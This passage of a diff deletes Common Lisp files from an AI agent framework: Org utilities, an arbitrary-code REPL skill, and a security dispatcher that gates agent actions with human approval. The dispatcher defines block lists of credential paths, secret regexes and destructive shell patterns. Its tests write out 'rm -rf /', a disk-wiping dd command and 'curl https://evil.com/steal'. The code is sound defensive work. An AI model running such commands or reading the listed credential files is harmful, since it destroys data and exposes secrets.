(when (and (eq type :HEADLINE) (string= id parent-id))
(let ((new-node (list :type :HEADLINE
:properties (list :ID (org-id-format (org-id-generate))
:TITLE title)
:contents nil)))
(setf (getf ast :contents) (append contents (list new-node)))
(return-from org-headline-add t)))
(dolist (child contents)
(when (listp child)
(when (org-headline-add child parent-id title)
(return-from org-headline-add t)))))
nil)
(defun org-headline-find-by-id (ast id)
"Finds a headline by its ID in the AST."
(let ((props (getf ast :properties)))
(when (string= (getf props :ID) id)
(return-from org-headline-find-by-id ast))
(dolist (child (getf ast :contents))
(when (listp child)
(let ((found (org-headline-find-by-id child id)))
(when found (return-from org-headline-find-by-id found)))))
nil))
(defun org-headline-find-by-title (ast title)
"Finds a headline by its title in the AST."
(let ((props (getf ast :properties)))
(when (string-equal (getf props :TITLE) title)
(return-from org-headline-find-by-title ast))
(dolist (child (getf ast :contents))
(when (listp child)
(let ((found (org-headline-find-by-title child title)))
(when found (return-from org-headline-find-by-title found)))))
nil))
(defun org-subtree-extract (org-content heading-name)
"Extracts a subtree by heading name from Org text. Returns the subtree
content as a string (headline + body + children), or nil if not found."
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
(target-depth nil)
(in-target nil)
(result nil))
(loop for line in lines
for trimmed = (string-trim '(#\Space) line)
do (let ((depth (when (uiop:string-prefix-p "*" trimmed)
(length (subseq trimmed 0
(position-if (lambda (c) (not (char= c #\*)))
trimmed)))))
(headline-title (when (uiop:string-prefix-p "*" trimmed)
(string-trim '(#\* #\Space) trimmed))))
(when depth
(when (string-equal headline-title heading-name)
(setf target-depth depth in-target t))
(when (and in-target target-depth
(<= depth target-depth)
(not (string-equal headline-title heading-name)))
(return-from org-subtree-extract
(format nil "~{~a~^~%~}" (nreverse result)))))
(when in-target (push line result))))
(when result
(format nil "~{~a~^~%~}" (nreverse result)))))
(defun org-heading-list (org-content)
"Returns a list of all top-level heading names in Org text."
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
(headings nil))
(dolist (line lines)
(let ((trimmed (string-trim '(#\Space) line)))
(when (uiop:string-prefix-p "* " trimmed)
(let ((title (string-trim '(#\* #\Space) trimmed)))
(unless (find title headings :test #'string-equal)
(push title headings))))))
(nreverse headings)))
(defun org-modify (filepath old-text new-text)
"Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath.
Returns T if OLD-TEXT was found and replaced, nil if not found."
(when (not (uiop:file-exists-p filepath))
(log-message "UTILS-ORG: org-modify: file not found: ~a" filepath)
(return-from org-modify nil))
(let* ((content (uiop:read-file-string filepath))
(pos (search old-text content :test #'string=)))
(unless pos
(log-message "UTILS-ORG: org-modify: text not found in ~a" filepath)
(return-from org-modify nil))
(let ((modified (cl-ppcre:regex-replace-all
(cl-ppcre:quote-meta-chars old-text)
content new-text)))
(org-write-file filepath modified)
(log-message "UTILS-ORG: Modified ~a (~d chars replaced)" filepath (length old-text))
t)))
(defun org-ast-render (ast &key (depth 1))
"Converts a plist AST node back to Org text.
AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
:contents (child-ast ...))"
(let* ((type (getf ast :TYPE))
(props (getf ast :properties))
(title (or (getf props :TITLE) "Untitled"))
(tags (getf props :TAGS))
(todo (getf props :TODO-STATE))
(children (getf ast :contents))
(raw-content (getf ast :raw-content))
(stars (make-string depth :initial-element #\*))
(output ""))
(unless (eq type :HEADLINE)
(return-from org-ast-render (or raw-content "")))
;; Headline
(setf output (format nil "~a~@[ ~a~] ~a" stars todo title))
(when tags
(let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags))))
(setf output (concatenate 'string output (format nil " :~a::~%" tag-str))))
(setf output (concatenate 'string output (string #\Newline))))
(unless tags
(setf output (concatenate 'string output (string #\Newline))))
;; Property drawer
(setf output (concatenate 'string output ":PROPERTIES:" (string #\Newline)))
(loop for (k v) on props by #'cddr
do (unless (or (eq k :TITLE) (eq k :TAGS))
(setf output (concatenate 'string output
(format nil ":~a: ~a~%" k v)))))
(setf output (concatenate 'string output ":END:" (string #\Newline)))
;; Content
(when raw-content
(setf output (concatenate 'string output raw-content (string #\Newline))))
;; Children
(dolist (child children)
(when (listp child)
(setf output (concatenate 'string output
(org-ast-render child :depth (1+ depth))))))
output))
(defskill :passepartout-programming-org
:priority 100
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ignore-errors (ql:quickload :fiveam :silent t)))
(defpackage :passepartout-utils-org-tests
(:use :cl :fiveam :passepartout)
(:export #:utils-org-suite))
(in-package :passepartout-utils-org-tests)
(def-suite utils-org-suite
:description "Tests for Utils Org skill.")
(in-suite utils-org-suite)
(test id-generation
"Contract 1: org-id-generate returns unique UUID strings."
(let ((id1 (org-id-generate))
(id2 (org-id-generate)))
(is (plusp (length id1)))
(is (not (string= id1 id2)))))
(test id-format
"Contract 2: org-id-format ensures 'id:' prefix."
(let ((formatted (org-id-format "abc12345")))
(is (search "id:" formatted))))
(test property-setter
"Contract 3: org-property-set modifies a property on a headline."
(let ((ast (list :type :HEADLINE
:properties (list :ID "id:test123" :TITLE "Test")
:contents nil)))
(org-property-set ast "id:test123" :STATUS "ACTIVE")
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
(test todo-setter
"Contract 4: org-todo-set changes TODO state via org-property-set."
(let ((ast (list :type :HEADLINE
:properties (list :ID "id:todo001" :TITLE "Task")
:contents nil)))
(org-todo-set ast "id:todo001" "DONE")
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
(test test-org-headline-add
"Contract 5: org-headline-add inserts a child headline."
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents nil)))
(is (eq t (org-headline-add ast "root" "New Child")))
(is (= 1 (length (getf ast :contents))))
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
(test test-org-headline-find-by-id
"Contract 6: org-headline-find-by-id finds a headline by ID."
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents
(list (list :type :HEADLINE
:properties (list :ID "child1" :TITLE "Child"))
(list :type :HEADLINE
:properties (list :ID "child2" :TITLE "Child 2"))))))
(let ((found (org-headline-find-by-id ast "child2")))
(is (not (null found)))
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
(let ((missing (org-headline-find-by-id ast "nonexistent")))
(is (null missing) "Missing ID should return nil"))))

183
lisp/programming-repl.lisp
View File

@@ -1,183 +0,0 @@
(in-package :passepartout)
(defvar *repl-package* :passepartout
"Default package for REPL evaluations.")
(defvar *repl-history* nil
"History of evaluated forms for session continuity.")
(defvar *repl-variables* (make-hash-table :test #'eq)
"Cache of bound variables for inspection.")
(defun repl-eval (code-string &key (package *repl-package*))
"Evaluate Lisp code and return (values result output error).
- result: the return value as string
- output: captured stdout
- error: error message or nil on success"
(let ((out (make-string-output-stream))
(err (make-string-output-stream))
(pkg (or (find-package package) (find-package :passepartout))))
(handler-case
(let* ((*standard-output* out)
(*error-output* err)
(*package* pkg)
(*read-eval* nil)
(result nil))
(with-input-from-string (s code-string)
(loop for form = (read s nil :eof) until (eq form :eof)
do (setf result (eval form))))
(push code-string *repl-history*)
(values
(format nil "~a" result)
(get-output-stream-string out)
nil))
(error (c)
(values
nil
(get-output-stream-string out)
(format nil "~a" c))))))
(defun repl-inspect (symbol-name &key (package *repl-package*))
"Inspect a variable's value and structure."
(let* ((pkg (or (find-package package) (find-package :passepartout)))
(sym (find-symbol (string-upcase symbol-name) pkg)))
(cond
((null sym)
(format nil "Symbol ~a not found in package ~a" symbol-name package))
((boundp sym)
(let ((val (symbol-value sym)))
(format nil "~a = ~a~%Type: ~a~%~%"
sym val (type-of val))))
((fboundp sym)
(format nil "~a is a function~%Args: ~a~%"
sym (documentation sym 'function)))
(t
(format nil "~a is unbound" symbol-name)))))
(defun repl-list-vars (&key (package *repl-package*))
"List all bound variables in the package."
(let* ((pkg (or (find-package package) (find-package :passepartout)))
(vars nil))
(do-symbols (sym pkg)
(when (boundp sym)
(push (format nil "~a" sym) vars)))
(sort vars #'string<)))
(defun repl-load-file (filepath)
"Load a Lisp file into the current image."
(handler-case
(progn
(load filepath)
(format nil "Loaded ~a" filepath))
(error (c)
(format nil "Error loading ~a: ~a" filepath c))))
(defun repl-set-package (package-name)
"Set the default package for REPL evaluations."
(let ((pkg (find-package (string-upcase package-name))))
(if pkg
(setf *repl-package* pkg)
(format nil "Package ~a not found" package-name))))
(defun repl-help ()
"Return available REPL commands."
(format nil "~%
REPL Skill Commands:
-------------------
(repl-eval \"code\" :package :passepartout)
- Evaluate Lisp code, returns (values result output error)
(repl-inspect \"symbol\" :package :passepartout)
- Inspect a variable or function
(repl-list-vars :package :passepartout)
- List all bound variables
(repl-load-file \"/path/to/file.lisp\")
- Load a file into the image
(repl-set-package :package-name)
- Switch default package
(repl-help)
- Show this message
"))
(defun repl-handle (signal)
"Pre-reason handler for :repl-eval sensor. Evaluates code and
writes the result back through the reply-stream."
(let* ((payload (getf signal :payload))
(code (getf payload :code))
(stream (getf (getf signal :meta) :reply-stream))
(result (multiple-value-bind (val out err)
(repl-eval code)
(if err
(list :status :error :message err)
(list :status :success :value (or val ""))))))
(when stream
(handler-case
(progn
(write-sequence (frame-message result) stream)
(finish-output stream))
(error (c)
(log-message "REPL-EVAL: Failed to write response: ~a" c))))
;; Return T to signal the message was consumed
t))
;; Register the handler at load time
(register-pre-reason-handler :repl-eval #'repl-handle)
(defun repl-mandate (context)
"Returns REPL-first engineering mandate when context involves code editing."
(let ((raw (or (proto-get (proto-get context :payload) :text) "")))
(when (or (search "org-skill-" raw :test #'char-equal)
(and (search ".org" raw :test #'char-equal)
(or (search "defun" raw :test #'char-equal)
(search "tangle" raw :test #'char-equal)
(search "write-file" raw :test #'char-equal)
(search "lisp" raw :test #'char-equal)))
(search "defun " raw :test #'char-equal)
(search "repl-eval" raw :test #'char-equal)
(search "validate" raw :test #'char-equal))
(format nil "~%REPL-FIRST MANDATE:~%Before writing any defun to an Org file, prototype it in the REPL first. Set :repl-verified t on the write action. On rejection, fix the error and retry.~%"))))
(defskill :passepartout-programming-repl
:priority 200
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)
:system-prompt-augment #'repl-mandate)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-repl-tests
(:use :cl :fiveam :passepartout)
(:export #:repl-suite))
(in-package :passepartout-programming-repl-tests)
(def-suite repl-suite :description "Verification of the REPL skill")
(in-suite repl-suite)
(test test-repl-eval-success
"Contract 1: repl-eval returns result and no error for valid code."
(multiple-value-bind (result output error) (repl-eval "(+ 1 2)")
(is (equal "3" result))
(is (null error))))
(test test-repl-eval-error
"Contract 1: repl-eval returns error message for invalid code."
(multiple-value-bind (result output error) (repl-eval "(+ 1 ")
(is (null result))
(is (stringp error))))
(test test-repl-inspect-found
"Contract 2: repl-inspect returns description for a bound symbol."
(let ((desc (repl-inspect "+" :package :cl)))
(is (search "+" desc))))
(test test-repl-list-vars
"Contract 3: repl-list-vars returns a list of symbol name strings."
(let ((vars (repl-list-vars :package :keyword)))
(is (listp vars))
(is (member "PASSEPARTOUT" vars :test #'string-equal))))

23
lisp/programming-standards.lisp
View File

@@ -1,23 +0,0 @@
(in-package :passepartout)
(defun standards-git-clean-p (dir)
"Checks if a directory has uncommitted changes."
(let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain")
:output :string
:ignore-error-status t)))
(string= "" (string-trim '(#\Space #\Newline #\Tab) status))))
(defun standards-lisp-verify (code)
"Enforces Lisp structural and semantic standards using utils-lisp."
(let ((result (lisp-validate code :strict t)))
(if (eq (getf result :status) :success)
t
(error (getf result :reason)))))
(defun standards-lisp-format (code)
"Ensures Lisp code adheres to formatting standards."
(lisp-format code))
(defskill :passepartout-programming-standards
:priority 100
:trigger (lambda (ctx) (declare (ignore ctx)) nil))

449
lisp/security-dispatcher.lisp
View File

@@ -1,449 +0,0 @@
(in-package :passepartout)
(defvar *dispatcher-network-whitelist*
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
"Domains the Bouncer considers safe for outbound connections.")
(defvar *dispatcher-privacy-tags*
(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
(if env
(uiop:split-string env :separator '(#\,))
'("@personal")))
"Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
(defvar *dispatcher-protected-paths*
'(".env" ".env.example" ".env.local" ".env.production"
"*credentials*" "*cred*"
"*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
"*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
"secring.*" "pubring.*" "private-keys-v1.d/*"
"token*" "*secret*" "*token*"
".netrc" ".git-credentials" "auth.json"
".aws/credentials" ".aws/config"
".kube/config" "kubeconfig"
"*.cert" "*.crt" "*.csr"
"*password*" "*passwd*")
"Path patterns blocked from file reads.")
(defvar *dispatcher-exposure-patterns*
'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
(:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
(:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
(:openai-key "sk-[A-Za-z0-9-]{20,}")
(:google-key "AIza[0-9A-Za-z_-]{35}")
(:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
(:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
(:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
(:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
"Named regex patterns for secret exposure detection.")
(defvar *dispatcher-shell-timeout* 30
"Maximum seconds for a shell command before timeout.")
(defvar *dispatcher-shell-max-output* 100000
"Maximum characters of shell output to capture.")
(defvar *dispatcher-shell-blocked*
'((:destructive-rm "\\brm\\s+-rf\\s+/")
(:destructive-dd "\\bdd\\s+if=")
(:destructive-mkfs "\\bmkfs\\.")
(:destructive-format "\\bmformat\\b")
(:disk-wipe "\\bshred\\s+/dev/")
(:disk-wipe-b "\\bwipefs\\s+/dev/")
(:injection-backtick "`[^`]+`")
(:injection-subshell "\\$\\([^)]+\\)"))
"Destructive and injection patterns blocked in shell commands.")
(defun wildcard-match (pattern path)
"Matches PATH against PATTERN where * matches any characters."
(let ((regex (cl-ppcre:regex-replace-all
"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
(cl-ppcre:scan regex path)))
(defun dispatcher-check-secret-path (filepath)
"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
(when (and filepath (stringp filepath))
(some (lambda (pattern)
(when (wildcard-match pattern filepath)
pattern))
*dispatcher-protected-paths*)))
(defun dispatcher-exposure-scan (text)
"Scans TEXT for patterns matching known secret formats.
Returns a list of matched category keywords."
(when (and text (stringp text) (> (length text) 0))
(let ((matches nil))
(dolist (entry *dispatcher-exposure-patterns*)
(let ((name (first entry))
(regex (second entry)))
(when (cl-ppcre:scan regex text)
(push name matches))))
matches)))
(defun dispatcher-vault-scan (text)
"Scans TEXT for known secrets from the vault."
(when (and text (stringp text))
(let ((found-secret nil))
(maphash (lambda (key val)
(when (and val (stringp val) (> (length val) 5))
(when (search val text)
(setf found-secret key))))
*vault-memory*)
found-secret)))
(defun dispatcher-check-privacy-tags (tags-list)
"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
(when (and tags-list (listp tags-list))
(some (lambda (tag)
(some (lambda (private)
(or (string-equal tag private)
(search private tag :test #'string-equal)))
*dispatcher-privacy-tags*))
tags-list)))
(defun dispatcher-check-text-for-privacy (text)
"Scans TEXT for leaked privacy-tagged content."
(when (and text (stringp text))
(let ((lower (string-downcase text)))
(some (lambda (tag)
(search (string-downcase tag) lower))
*dispatcher-privacy-tags*))))
(defun org-blocks-extract (content)
"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
(when (and content (stringp content))
(let ((lines (uiop:split-string content :separator '(#\Newline)))
(in-block nil)
(code ""))
(dolist (line lines)
(let ((clean (string-trim '(#\Space #\Tab) line)))
(cond
((search "#+begin_src lisp" clean)
(setf in-block t))
((search "#+end_src" clean)
(setf in-block nil))
(in-block
(setf code (concatenate 'string code line (string #\Newline)))))))
(when (> (length code) 0) code))))
(defun dispatcher-check-lisp-valid (filepath content)
"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
Returns the validation result plist or nil if not applicable."
(when (and content (stringp content) (> (length content) 0))
(let ((to-validate
(cond
((uiop:string-suffix-p filepath ".lisp") content)
((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
(t nil))))
(when to-validate
(multiple-value-bind (valid-p err) (ignore-errors
(let ((*read-eval* nil))
(with-input-from-string (s (format nil "(progn ~a)" to-validate))
(loop for form = (read s nil :eof) until (eq form :eof)))
(values t nil)))
(unless valid-p
(list :status :error :reason err)))))))
(defun org-has-defuns-p (content)
"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
(when (and content (stringp content))
(search "defun " content :test #'char-equal)))
(defun dispatcher-check-repl-verified (action filepath content)
"Warns if writing a defun to an Org file without :repl-verified metadata."
(let ((repl-verified (getf action :repl-verified)))
(when (and filepath
(uiop:string-suffix-p filepath ".org")
(org-has-defuns-p content)
(not repl-verified))
(list :type :LOG
:payload (list :level :warn
:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
(defun dispatcher-check-shell-safety (cmd)
"Checks a shell command for destructive patterns and injection vectors.
Returns a list of matched pattern names or nil if safe."
(when (and cmd (stringp cmd) (> (length cmd) 0))
(let ((matches nil))
(dolist (entry *dispatcher-shell-blocked*)
(let ((name (first entry))
(regex (second entry)))
(when (cl-ppcre:scan regex cmd)
(push name matches))))
matches)))
(defun dispatcher-check-network-exfil (cmd)
"Detects if CMD attempts to contact an unwhitelisted external host."
(when (and cmd (stringp cmd))
(multiple-value-bind (match regs)
(cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
(declare (ignore match))
(when regs
(let ((domain (aref regs 1)))
(not (some (lambda (safe) (search safe domain))
*dispatcher-network-whitelist*)))))))
(defun dispatcher-check (action context)
"Security gate for high-risk actions.
Vectors: lisp validation, secret path, secret content, vault secrets,
privacy tags, privacy text, shell safety, network exfil, high-impact approval."
(declare (ignore context))
(let* ((target (proto-get action :target))
(payload (proto-get action :payload))
(text (or (proto-get payload :text) (proto-get action :text)))
(filepath (or (proto-get payload :filepath)
(when (equal (proto-get payload :tool) "read-file")
(proto-get (proto-get payload :args) :filepath))
(when (equal (proto-get payload :tool) "write-file")
(proto-get (proto-get payload :args) :filepath))))
(content (when filepath (proto-get (proto-get payload :args) :content)))
(cmd (or (proto-get payload :cmd)
(when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
(proto-get (proto-get payload :args) :cmd))))
(approved (proto-get action :approved))
(tags (proto-get payload :tags))
(lisp-valid (when (and filepath content (not approved))
(dispatcher-check-lisp-valid filepath content)))
(repl-lint (when (and filepath content (not approved))
(dispatcher-check-repl-verified action filepath content))))
(cond
(approved action)
;; Vector 0: REPL verification lint (warn, don't block)
(repl-lint
(log-message "BOUNCER: ~a" (proto-get repl-lint :text))
action)
;; Vector 1: Lisp syntax validation (block bad lisp writes)
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 5: Privacy-tagged content in action
((and tags (dispatcher-check-privacy-tags tags))
(log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Content tagged with privacy filter.")))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
(t action))))
(defun dispatcher-approvals-process ()
"Scans for APPROVED flight plans and re-injects them."
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
(found-any nil))
(dolist (node approved-nodes)
(let* ((attrs (memory-object-attributes node))
(tags (getf attrs :TAGS))
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "BOUNCER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (read-from-string action-str))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
:payload (list :sensor :approval-required
:action action
:approved t)
:meta (list :source :system)))
(setf (getf (memory-object-attributes node) :TODO) "DONE")
(setq found-any t))))))
found-any))
(defun dispatcher-flight-plan-create (blocked-action)
"Creates a Flight Plan node for manual approval in Emacs."
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
(log-message "BOUNCER: Creating flight plan node '~a'..." id)
(list :type :REQUEST :target :emacs
:payload (list :action :insert-node :id id
:attributes (list :TITLE "Flight Plan: High-Risk Action"
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
:ACTION (format nil "~s" blocked-action))))))
(defvar *hitl-pending* (make-hash-table :test 'equal)
"Maps correlation token → blocked-action plist for pending HITL approvals.")
(defun hitl-create (blocked-action)
"Saves a blocked action for HITL approval. Returns a plist with
:token (the correlation ID) and :message (user-facing text)."
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
(setf (gethash token *hitl-pending*) blocked-action)
(log-message "HITL: Created pending approval ~a" token)
(list :token token
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
(defun hitl-approve (token)
"Approves a pending HITL action by token. Re-injects with :approved t.
Returns T if found and approved, nil if token is invalid."
(let ((action (gethash token *hitl-pending*)))
(if action
(progn
(remhash token *hitl-pending*)
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
:payload (list :sensor :approval-required
:action action
:approved t)
:meta (list :source :system)))
(log-message "HITL: Approved ~a — re-injected" token)
t)
(progn
(log-message "HITL: Token ~a not found in pending" token)
nil))))
(defun hitl-deny (token)
"Denies a pending HITL action by token. Removes it from the pending store.
Returns T if found, nil if token is invalid."
(if (gethash token *hitl-pending*)
(progn
(remhash token *hitl-pending*)
(log-message "HITL: Denied ~a" token)
t)
(progn
(log-message "HITL: Token ~a not found in pending" token)
nil)))
(defun hitl-handle-message (text &optional source)
"Checks if TEXT is a HITL approval or denial command.
If it matches, processes the command and returns T.
Otherwise returns nil (text should be handled as normal input).
Recognized formats:
/approve HITL-abc123
/deny HITL-abc123
approve HITL-abc123
deny HITL-abc123"
(let ((text (string-trim '(#\Space) (or text ""))))
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
(token (when (> (length parts) 1) (second parts))))
(when (and token (hitl-approve token))
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
(return-from hitl-handle-message t))))
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
(token (when (> (length parts) 1) (second parts))))
(when (and token (hitl-deny token))
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
(return-from hitl-handle-message t))))
nil))
(defun dispatcher-gate (action context)
"Main deterministic gate for the Bouncer skill."
(let* ((payload (getf context :payload))
(sensor (getf payload :sensor)))
(case sensor
(:approval-required
(dispatcher-flight-plan-create (getf payload :action)))
(:heartbeat
(dispatcher-approvals-process)
(if action (dispatcher-check action context) action))
(otherwise
(if action (dispatcher-check action context) action)))))
(defskill :passepartout-security-dispatcher
:priority 150
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'dispatcher-gate)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))

44
lisp/security-permissions.lisp
View File

@@ -1,44 +0,0 @@
(in-package :passepartout)
(defvar *permission-table* (make-hash-table :test 'equal))
(defun permission-set (tool-name level)
"Sets the permission level for a tool."
(setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
(defun permission-get (tool-name)
"Retrieves the permission level for a tool. Defaults to :ask."
(gethash (string-downcase (string tool-name)) *permission-table* :ask))
(defskill :passepartout-security-permissions
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-permissions-tests
(:use :cl :fiveam :passepartout)
(:export #:permissions-suite))
(in-package :passepartout-security-permissions-tests)
(def-suite permissions-suite :description "Verification of Tool Permissions")
(in-suite permissions-suite)
(test test-permission-round-trip
"Contract 1: permission-set stores a level; permission-get retrieves it."
(permission-set "test-tool" :allow)
(is (eq :allow (permission-get "test-tool")))
;; Clean up
(permission-set "test-tool" nil))
(test test-permission-default
"Contract 2: unregistered tools default to :ask."
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
(test test-permission-case-insensitive
"Contract 3: tool names are normalized to lowercase."
(permission-set :CapitalTool :deny)
(is (eq :deny (permission-get :capitaltool)))
(permission-set "CapitalTool" nil))

50
lisp/security-policy.lisp
View File

@@ -1,50 +0,0 @@
(in-package :passepartout)
(defun policy-compliance-check (action context)
"Enforces constitutional invariants on proposed actions."
(declare (ignore context))
(let* ((payload (proto-get action :payload))
(explanation (proto-get payload :explanation)))
(if (and explanation (stringp explanation) (> (length explanation) 10))
action
(progn
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
(defskill :passepartout-security-policy
:priority 500
